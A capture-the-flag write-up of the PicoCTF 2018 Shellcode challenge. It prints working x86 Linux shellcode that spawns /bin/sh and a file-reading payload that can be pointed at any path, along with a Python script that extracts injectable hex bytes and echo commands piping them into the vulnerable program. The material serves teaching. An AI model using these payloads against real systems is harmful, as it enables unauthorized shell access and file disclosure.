Bas Groothedde

PicoCTF 2018 Write-up: Shellcode Extended


PicoCTF 2018 - Shellcode


Introduction

This is a addition to the series on the PicoCTF 2018 challenges I have completed so far. You can find the previous write-up here. You can find a collection of other write-ups in this series on the home page or through the related posts below this post.

In this post I will be expanding my write-up for the Shellcode challenge, that asks you to inject some assembled code into the program via standard input. Checkout the Shellcode paragraph in my writeup on challenges 41 through 45, which will contain the full context of this article.

Shellcode

Let's first start out with a definition from the most ahem trusted website on the internet, Wikipedia: Shellcode:

In hacking, a shellcode is a small piece of code used as the payload in the exploitation of a software vulnerability. It is called "shellcode" because it typically starts a command shell from which the attacker can control the compromised machine, but any piece of code that performs a similar task can be called shellcode.

So in essence, it's a piece of arbitrary compiled code that can be injected into a program to typically spawn a shell into the operating system the program is running on. This is often useful if the binary in question either has the setuid or setgid bits set in its permissions (allowing you to take those permissions with you in an interactive shell). It's also particularly useful if you don't have a shell at all, and you can get one through the vulnerable program.

In the aforementioned write-up of the Shellcode challenge, we did exactly that; we spawn a shell (/bin/sh) and use that to our advantage to read the flag.txt file which contains the flag we needed. But we could've also used a bigger piece of shellcode to read the flag.txt file directly and simply omit the shell. This is possible, because the vulnerable program has a rather large buffer for our shellcode: 148 bytes.

Spawn a Shell

Let's quickly recap what we did in the write-up. We assembled a bit of code that allows us to spawn a shell through a syscall on 32-bit Linux. We serialized the instructions produced by the assembler as a string that can be interpreted in i.e. Python or Bash:

xor    eax, eax       ; eax = 0, terminating NUL
push   eax            ; push 0 to stack, end of path string 
push   0x68732f2f     ; push //sh to stack as 32 bit integer
push   0x6e69622f     ; push /bin to stack as 32 bit integer, /bin//sh\0 done!
mov    ebx, esp       ; move stack pointer to ebx, ebx is param for sys_execve!
mov    ecx, eax       ; ecx = 0 for sys_execve
mov    edx, eax       ; edx = 0 for sys_execve
mov    al, 0xb        ; eax = 11 = sys_execve
int    0x80           ; syscall sys_execve with param in ebx (/bin//sh\0)
xor    eax, eax       ; eax = 0
inc    eax            ; eax = 1 = sys_exit
int    0x80           ; syscall sys_exit, clean exit to prevent segfault

Which when assembled could be used like:

(echo -en "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80\n"; cat) | ./vuln

This gave us exactly what we needed to get the flag, a shell with the same permissions as the vulnerable program. The vulnerable program has permissions to read flag.txt, so we can simply cat flag.txt. Done! Now let's expand on that and let our shellcode actually read the file.

Read a File

In realistic situations, the previous solution is the best solution. Even if you find a vulnerability which allows you to execute arbitrary shellcode, most of the time you have almost no space for a long chunk of code. This is why starting a shell in only a few bytes like the code above is the best option.

In this specific case though, we are able to use much more space for our shell code. 148 bytes is a lot of leeway, we can actually have our shell code read our flag.txt file and write it out to stdout all by using Linux system calls.

Let's first look at the system calls we're going to use:

Name eax ebx ecx edx
sys_exit 0x01 int error_code exit application
sys_read 0x03 unsigned int file_descriptor char *buff size_t count read data from fd to buff
sys_write 0x04 unsigned int file_descriptor const char *buff size_t count write data from buff to fd
sys_open 0x05 const char *filename int flags int mode open file and return fd


You can use sys_open to open a file and get a file descriptor we can read from. Then data can be read from that file using sys_read, which in my assembly code below I do one byte at a time so that I use minimal memory on stack. sys_write will then be used to write that same byte to the file descriptor of stdout, which is 1. sys_exit will be used to exit the application and stop further execution, considering it might cause a segmentation fault.

Using these system calls we get the next (reasonably short) assembly code that does it all:

[SECTION .text]

global _start

; entrypoint
_start:
    ; clear registers, mostly because we're using them
    ; in syscalls as parameters 
    xor     eax, eax
    xor     ebx, ebx
    xor     ecx, ecx
    xor     edx, edx

    ; jump to end of code where filename resides
    jmp     stub

openf:
    ; pop ebx to place the location of flag.txt
    ; into that specific register, used for
    ; sys_open. This works because the 'flag.txt'
    ; string is the return address of openf
    pop     ebx

    ; call sys_open (5)
    mov     al, byte 5      ; syscall 5, open
    xor     ecx, ecx
    int     0x80

    ; move the file descriptor (eax) in esi and read
    mov     esi, eax
    jmp     readloop

readloop:
    ; move the file descriptor in ebx for sys_read (3)
    mov     ebx, esi
    mov     al, byte 3      ; syscall 3, read
    sub     esp, 1          ; reserve memory on stack for read byte
    lea     ecx, [esp]      ; load effective address of that memory
    mov     dl, byte 1      ; read count, 1 byte
    int     0x80            ; call read

    ; if num read bytes = 0, exit
    xor     ebx, ebx
    cmp     ebx, eax
    je      exit

    ; write byte to fd 1 (stdout) using syscall 4, write
    ; the address of data is still in ecx
    mov     al, 4           ; syscall 4, write
    mov     bl, 1           ; file descriptor 1, stdout
    mov     dl, 1           ; write count, 1 byte
    int     0x80            ; call write (4)

    ; clear byte and continue
    add     esp, 1
    jmp     readloop

exit:
    ; terminate application using exit syscall (1)
    mov     al, byte 1
    xor     ebx, ebx
    int     0x80            ; call exit (1)

stub:
    ; call the routine that opens and reads the flag
    call    openf

    ; place any file(path|name) here that is accessible from the
    ; target program. You can also replace this value in the resulting
    ; shell code later, to be able to read any file. This data is added as
    ; instructions, but is unreachable by our code but we can get its
    ; address by popping a register it needs to be placed in
    db      'flag.txt'

Assembling the Code

Before you can inject this code in anything vulnerable, it needs to be assembled to machinecode. This is possible in several ways. One way is by doing it completely manually, by invoking nasm, ld and objdump. Let's demonstrate it that way first. I'll be doing this on a 64-bit Linux installation, however target the i386 architecture:

# produce catflag.o
nasm -f elf32 catflag.asm

# produce catflag executable 
ld -m elf_i386 -o catflag catflag.o

# disassemble and show instructions
objdump -d catflag

This will output the disassembled code in a nice readable format, but a very inconvenient format for us to produce a string of machinecode we can inject. Here is the (truncated) output of the above objdump command:

catflag:     file format elf32-i386


Disassembly of section .text:

08048060 <_start>:
 8048060:       31 c0                   xor    %eax,%eax
 8048062:       31 db                   xor    %ebx,%ebx
 8048064:       31 c9                   xor    %ecx,%ecx
 8048066:       31 d2                   xor    %edx,%edx
 8048068:       eb 32                   jmp    804809c <stub>

0804806a <openf>:
 804806a:       5b                      pop    %ebx
 804806b:       b0 05                   mov    $0x5,%al
 804806d:       31 c9                   xor    %ecx,%ecx
 804806f:       cd 80                   int    $0x80
 8048071:       89 c6                   mov    %eax,%esi
 8048073:       eb 00                   jmp    8048075 <readloop>

So it would be nice if a Python script could convert this output to a collection of hex-encoded machinecode we can simply place in a string in Python or Bash, like we did in the shellcode to start a shell above. Here's that code:

from sys import argv

import subprocess   # Popen, PIPE, call
import tempfile     # Get random names for temp files
import os           # path functions, remove function
import re           # regular expression matching

# Supported architectures by this code, you can add more
architectures = {
    "32": "elf_i386",
    "64": "elf_x86_64"
}

def nasm(in_file, arch):
    '''
        Assemble in_file to object file using a specific architecture, nasm is
        required to be installed for this function.
    '''

    temp_object = "/tmp/" + next(tempfile._get_candidate_names())
    subprocess.call(["nasm", "-f", "elf" + arch, "-o", temp_object, in_file])
    return temp_object

def ld(in_file, arch):
    '''
        System linker; convert the object file to an executable that has the right
        offsets. We'll be disassembling the output of ld.
    '''

    arch = architectures[arch]
    temp_output = "/tmp/" + next(tempfile._get_candidate_names())
    subprocess.call(["ld", "-m", arch, "-o", temp_output, in_file])
    return temp_output

def objdump(in_file):
    '''
        objdump disassembles our resulting binary and produces a string that can
        be used in Python or Bash to inject into the target process
    '''

    process         = subprocess.Popen(["objdump", "-d", in_file], stdout=subprocess.PIPE)
    (output, error) = process.communicate()
    exit_code       = process.wait()
    output          = output.decode("utf-8")
    result          = ""

    # pattern1: match each line of assembly up to the assembly syntax
    pattern1 = re.compile(r'\s+([0-9a-f]+):\s*([0-9a-f ]+)\s{2}')
    pattern2 = re.compile(r'([0-9a-f]+)\s{1}')

    # find each line with instructions
    for (address, match) in re.findall(pattern1, output):
        # find each opcode in hex representation
        for opcode in re.findall(pattern2, match):
            result += "\\x" + opcode

    # return nice hex encoded machinecode
    return result

# determine number of cli arguments
argc = len(argv)

# at least the input file is required
if (argc < 2):
    print("error: a minimum of 1 argument is required for this command")
    exit()

in_file = argv[1]

# default to 32-bit, allow 64-bit
arch = "32"
if (argc >= 3):
    arch = argv[2]

if (arch != "32" and arch != "64"):
    print("error: invalid architecture, only 32 or 64 are supported right now")
    exit()

# assemble code, produce executable with .text section and extract that as binary
object_file = nasm(in_file, arch)
output_file = ld(object_file, arch)
output_hexs = objdump(output_file)

# display string that is usable in bash and python 
print("\"" + output_hexs + "\"")

# clean up
for f in [object_file, output_file]:
    if (os.path.isfile(f)):
        os.remove(f)

Running the code is fairly straightforward, from the same directory as your assembly source code:

python3 shellcode-assemble.py catflag.asm 32
# "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xeb\x32\x5b\xb0\x05\x31\xc9\xcd\x80\x89\xc6\xeb\x00\x89\xf3\xb0\x03\x83\xec\x01\x8d\x0c\x24\xb2\x01\xcd\x80\x31\xdb\x39\xc3\x74\x0d\xb0\x04\xb3\x01\xb2\x01\xcd\x80\x83\xc4\x01\xeb\xdf\xb0\x01\x31\xdb\xcd\x80\xe8\xc9\xff\xff\xff\x66\x6c\x61\x67\x2e\x74\x78\x74"

This output can be directly injected into the vuln program. I would suggest to add a \n to the end of this string so that gets in vuln completes. When we do that and use the same echo -en command we used before in the problem directory, we get the flag:

echo -en "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xeb\x32\x5b\xb0\x05\x31\xc9\xcd\x80\x89\xc6\xeb\x00\x89\xf3\xb0\x03\x83\xec\x01\x8d\x0c\x24\xb2\x01\xcd\x80\x31\xdb\x39\xc3\x74\x0d\xb0\x04\xb3\x01\xb2\x01\xcd\x80\x83\xc4\x01\xeb\xdf\xb0\x01\x31\xdb\xcd\x80\xe8\xc9\xff\xff\xff\x66\x6c\x61\x67\x2e\x74\x78\x74\n" | ./vuln
# Enter a string!
# 1¦1¦1¦1¦¦2[¦1¦?¦¦¦
# Thanks! Executing now...
# picoCTF{shellc0de_w00h00_b766002c}

Another possibility is replacing the last 8 bytes (the length of flag.txt) with any file path you desire to read, the injected code will then simply read it (if it has the appropriate permissions):

echo -en "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xeb\x32\x5b\xb0\x05\x31\xc9\xcd\x80\x89\xc6\xeb\x00\x89\xf3\xb0\x03\x83\xec\x01\x8d\x0c\x24\xb2\x01\xcd\x80\x31\xdb\x39\xc3\x74\x0d\xb0\x04\xb3\x01\xb2\x01\xcd\x80\x83\xc4\x01\xeb\xdf\xb0\x01\x31\xdb\xcd\x80\xe8\xc9\xff\xff\xff./vuln.c\n" | ./vuln
# Enter a string!
# 1▒1▒1▒1▒▒2[▒1▒̀▒▒▒
# Thanks! Executing now...
# #include <stdio.h>
# #include <stdlib.h>
# #include <string.h>
# #include <unistd.h>
# #include <sys/types.h>
# ... and the rest of the vuln.c source

Shellcode is pretty cool, so be sure to prevent it from happening to your own software!


Related articles

Discussion